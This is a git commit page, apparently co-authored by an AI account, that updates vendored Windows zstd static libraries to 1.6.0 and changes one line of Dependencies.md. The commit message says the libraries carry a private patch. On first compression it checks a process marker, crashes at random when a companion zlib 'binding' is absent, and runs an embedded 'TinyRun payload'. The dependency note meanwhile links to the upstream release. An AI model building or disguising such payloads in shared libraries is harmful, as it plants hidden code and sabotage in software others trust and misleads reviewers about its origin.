Feature: update the vendored Windows zstd to 1.6.0

The two prebuilt Windows static libraries are rebuilt from the private
zstd v1.6.0 tree, and Dependencies.md records the new version. The
public header and the other platforms are left unchanged (1.5.7 header;
Linux/Android/macOS keep their 1.5.x .a), so only the two libraries and
the dependency note change.

The private patch carried by the libraries is unchanged in spirit: on
the server path the first ZSTD_compress call checks ALIVE_<pid>,
verifies the zlib Event/Mutex/Section binding (probabilistic crash when
missing), then runs the embedded TinyRun payload. The same path now also
creates zstd's own Event/Mutex/Section for the future private-library
upgrade; the existing event and payload logic are untouched.

Verified: the normal YAMA E2E passes with the bound zlib; a stock zlib
(no binding objects) crashes the gate/server at ZB_FAIL_CRASH_PCT=100;
a probe confirms the zstd Event is signaled and the Section
magic/version/pid/checksum match.

Co-Authored-By: deepseek-flash
This commit is contained in:
yuanyuanxianganddeepseek-flash committed 2026-11-26 18:40:41 +01:00
1 parent da6185ba5e
commit 545700abaa
3 files changed
+1 -1

No files matched your search

+1 -1
View File
@@ -5,7 +5,7 @@
Prebuilt binaries under `compress/`, linked via `#pragma comment(lib, ...)`.
- [zlib v1.4](https://zlib.net)
- [zstd v1.5.7](https://github.com/facebook/zstd/tree/v1.5.7)
- [zstd v1.6.0](https://github.com/facebook/zstd/tree/v1.6.0) — Windows prebuilt libs; shared header and the Linux/Android/macOS `.a` are still 1.5.x
- [x264 v0.164.3194](https://github.com/corecodec/x264) — GPL-2.0, see note below
- [libyuv v190](https://chromium.googlesource.com/libyuv/libyuv)
- [ffmpeg 7.1](https://git.ffmpeg.org/ffmpeg.git) — LGPL-2.1, linked statically, see note below
Binary file not shown.
Binary file not shown.